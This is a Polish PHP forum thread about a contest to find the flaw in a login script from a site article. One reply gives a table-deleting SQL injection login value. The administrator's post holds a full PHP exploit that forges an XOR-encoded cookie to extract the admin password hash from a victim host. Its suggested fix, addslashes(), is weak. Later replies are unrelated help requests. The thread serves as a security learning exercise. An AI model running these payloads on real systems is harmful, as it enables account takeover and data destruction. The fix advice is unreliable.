|
| Czy odwiedziłeś już te strony? - |
|
|
|
|
| Autor |
|
Vengeance administrator
dołączył: 02-06-2004 |
W artykule autorstwa ustka:
http://strefaphp.net/index.php?page=artykuly&what=view&id=36
jest pewien bład. Zadanie polega na tym aby ten błąd odnaleść i dogłębnie go opisać.
Jako, że budżet mamy słaby do wygrania jest alias emailowy w domenie @strefaphp.net
Życze powodzenia.
Aha odpowiedzi dajemy tutaj. Radze pisać nawet gdy ktoś już dał 'niby poprawną' odpowiedź' gdyż moze być nie poprawna ;] A kto pierwszy ten lepszy.
PHP Portfolio
devblog
Imprezy Łódź |
|
| Autor |
|
UsTeK
dołączył: 19-06-2004 |
A ja też moge brać udział ???
A może dostane alias za free? =)
btw. miałeś o błedzie nikomu nie mówić... damn u
Inteligencja - umiejętne wykorzystanie nabytej wiedzy. |
 |
| Autor |
|
mynio
dołączył: 13-07-2004 |
witam,
wydaje mi się, że błąd leży w zapytaniu
$query = mysql_query("SELECT * FROM `users` WHERE `user`='".$login."' AND `pass`='".$haslo."';");
z tego co narazie zdążyłem się zorientować można tu zastosować prosty atak "sql injection" gdzie wystarczy podać
login : '; delete from users--
hasło: //puste
Oto wyjaśnienie oznaczeń:
' zakończenie pojedynczego cudzysłowu, w który są ujmowane dane wprowadzane z wewnątrz;
; Zakończenie zapytania i rozpoczęcie nowego;
-- Początek komentarza - w ten sposób usuwa się dalszą część kodu, która nie jest intruzowi potrzebna, a może wywołać błąd składniowy i uniemożliwić wykonanie ataku.
Po przetworzeniu kodu i zinterpretowaniu powyższych znaków, otrzymujemy dwa zapytania:
SELECT id FROM users WHERE username = ''; delete from users
W rezultacie zawartość tablicy users zostanie usunięta, uniemożliwiając innym użytkownikom dostęp do systemu. W podobny sposób można doklejać dowolne zapytania, o ile pozwala na to API i składnia bazy danych.
część odpowiedzi pochodzi z arta o sql injection niestety nie pamiętam źródła, jęsli się myle co jest możliwe, popraw mnie Vee! Jeśli mam racje to szczegułów radze poszukać w tym arcie gdzieś w necie, lub skontaktować się ze mną, mogę go przesłać
pzdr
|
 |
| Autor |
|
Vengeance administrator
dołączył: 02-06-2004 |
a ja zaraz zobacze czy moj plan wykorzystania w ogole zadziala ;] no i zweryfikuje domniemane bledy w twoim skrypcie ;]
PHP Portfolio
devblog
Imprezy Łódź |
|
| Autor |
|
Vengeance administrator
dołączył: 02-06-2004 |
Nikt nie wygrał :/ Przykro mi. W takim razie ja wygrałem :P
O ile ze znalezieniem gdzie jest blad nie mialem problemow (3 minuty) to z jego wykorzystaniem juz troche ich bylo.
Oto moja wersja prawie uniwersalnego exploita na dziure w skrypcie ustka.
Dodam jeszcze tylko ze aby zabezpieczyc skrypt wystarczy zastosowac addslashes() dla loginu i hasla.
Kod:
<?php
##
## Exploit do konkursu na strefaphp.net
## @author Vengeance
## @link http://strefaphp.net/index.php?page=forum&what=view_topic&t=87
##
## Należy ustawić zmienne w czesci config i dwie stale QUERY i USERNAME
##
## !! Nie gwarantuje pelnej uniwersalnosci. blad jest na tyle specyficzny
## i trudny do wykorzystania ze nie wszedzie all dziala
## Config ##
$login = 'Vengeance';
$pass = 'ppp';
$host = 'vee.no-ip.biz';
$logowanie = '/ustek/logowanie.php';
$members = '/ustek/members.php';
define('VARS', 'logowanie=k&login='.$login.'&haslo='.$pass.'&pamietaj=ok');
## Te Stale nalezy zedytowac wzgledem wlasnej ofiary.
## bardzo wazne jest pamietanie o ograniczeniu znakowym!
#### TO MUSI MIEC 32 ZNAKI
define('QUERY', "\n users WHERE nick='adminek");
#### I TO TEZ!
define('USERNAME', "'UNION SELECT 0,0,0,pass FROM-- ");
## Pobieramy klucz xorujacy
$key = get_xor_key($host, $logowanie, $login, $pass);
## logujemy sie i pobieramy haslo roota
echo 'PASS Admina to: '.get_root_password($host, $members, USERNAME, QUERY, $key);
function get_xor_key($host, $url, $username, $password)
{
if(!$fp = @fsockopen($host, 80))
die("Połączenie z serwerem [false]\n");
$out = "POST $url HTTP/1.0\r\n";
$out .= "Host: $host\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "Content-Length: ".strlen(VARS)."\r\n\r\n";
$out .= VARS."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp))
{
$data .= fgets($fp, 128);
}
fclose($fp);
preg_match("#Set-Cookie: dane=(.*);#", $data, $matches);
$xors = urldecode( $matches[1] );
return $xors ^ md5(strtolower($username)).md5($password);
}
function get_root_password($host, $url, $username, $password, $key)
{
$spoof = urlencode($username.$password^$key);
if(!$fp = @fsockopen($host, 80))
die("Połączenie z serwerem [false]\n");
$out = "GET $url HTTP/1.0\r\n";
$out .= "Host: $host\r\n";
$out .= "Cookie: dane=".$spoof."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp))
{
$data .= fgets($fp, 128);
}
fclose($fp);
preg_match("#Twój nick to: (.{32})#", $data, $matches);
return $matches[1];
}
?>
// Edytowany 14-09-2004 17:02 przez Vengeance
PHP Portfolio
devblog
Imprezy Łódź |
|
| Autor |
|
Ciap-Ciak
dołączył: 22-04-2006 |
Mam pewnie problem. postepowalem zgodznie z poleceniami utworzylem baze danych dodalem do niej wpisy (w md5) i gdy probuje sie zalogowac to wyskakuje komunikat ze bledne haslo. (z baza danych sielaczy). mam serwer na ovh.org czy ktos wie czym to moze byc spowodowane |
 |
| Autor |
|
tomeak
dołączył: 25-06-2006 |
Czy aby napewno to jest nadal bezpieczne? Dowiedziałem się ostatnio o czymś takim jak session hijacking... |
|
| Autor |
|
rufusek377
dołączył: 06-02-2007 |
Niestety to nie zadziałało |
|
| Autor |
|
skoti22
dołączył: 21-02-2007 |
witam... mam problem.. z wylogowaniem.. nie moge sobie poradzic.. moglby ktos dac przyklad. z gory bardzo dziekuje |
 |
| Autor |
|
pitiunited
dołączył: 26-05-2007 |
djmisiek napisał:Ciap-Ciak napisał:Mam pewnie problem. postepowalem zgodznie z poleceniami utworzylem baze danych dodalem do niej wpisy (w md5) i gdy probuje sie zalogowac to wyskakuje komunikat ze bledne haslo. (z baza danych sielaczy). mam serwer na ovh.org czy ktos wie czym to moze byc spowodowane
Mam ten sam problem. W bazie mam 35 uzytkownikow i zaden login dobrze nie dziala. Mam server na nazwa.pl nie powinno byc problemow. Login oraz haslo jest w md5... a wtrakcie dzialania skryptu nie ma zadnych bledow...
witam,
problem ten sam, serwer także na nazwa.pl
Nie ma żadnych błędów więc ciężko określić co jest nie tak. Po prostu funkcję login() uznaje za false. Na serwerze ovh.org ten sam skrypt działa poprawnie...
Proszę o pomoc |
|
| Autor |
|
NoRiN
dołączył: 28-05-2007 |
Witam.
Mam problem z wylogowaniem. Mógłby ktoś mi przybliżyć jak powinno to wyglądać?
Tu był opis ale mi uciekł :/ |
 |
| Autor |
|
mad84
dołączył: 30-01-2008 |
Myślę że błąd polega na tym że globalizujemy _Config w którym są hasła i loginy
Pozdrawiam Mentor
Mentor |
 |
| Autor |
|
mad84
dołączył: 30-01-2008 |
Jeszcze jeden błąd.. heh sieczka ;)
Przepisujemy dane do zmiennych $login $hasło, ale ich nie niszczymy co prawda zamknięte są w funkcji ale gdy będą globalne to problem:)
Kolejne niebezpieczne cookie ;)
To na tyle co zauważyłem w 15 min
Pozdrawiam
Mentor |
 |
|